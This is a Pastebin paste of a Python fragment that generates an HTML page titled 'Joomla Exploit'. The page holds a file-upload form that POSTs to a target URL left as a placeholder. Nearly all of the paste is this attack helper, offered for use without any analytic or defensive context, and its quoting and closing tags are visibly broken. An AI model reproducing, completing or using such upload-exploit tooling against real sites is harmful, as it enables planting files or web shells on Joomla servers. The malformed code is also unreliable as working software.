Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- sachin = "payload/index.html"
- if os.path.exists(sachin):
- os.remove(sachin)
- expl = open("payload/index.html" , "w")
- expl.write("<html><head> \n")
- expl.write("<title>Joomla Exploit</title> \n")
- expl.write('</head><body background=""> \n')
- expl.write('<link rel="stylesheet" type="text/css" href="//fonts.googleapis.com/css?family=Amaranth"> \n')
- expl.write('<style> \n')
- expl.write(' body { \n')
- expl.write(' font-family:Amaranth; \n ')
- expl.write(' } \n')
- expl.write('</style> \n')
- expl.write('<center><br><br><br><br><br><br><br><br><br><br> \n')
- expl.write('<h1 style="color:green;">Joomla Exploit</h1> \n')
- expl.write('<form method="POST" action="' UrL goes here" enctype="multipart/form-data"> \n')
- expl.write('<input type="file" name="file"><button>Exploit</button> \n')
- expl.write('</form> \n')
- expl.write('</<center></body></html> \n')
- expl.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement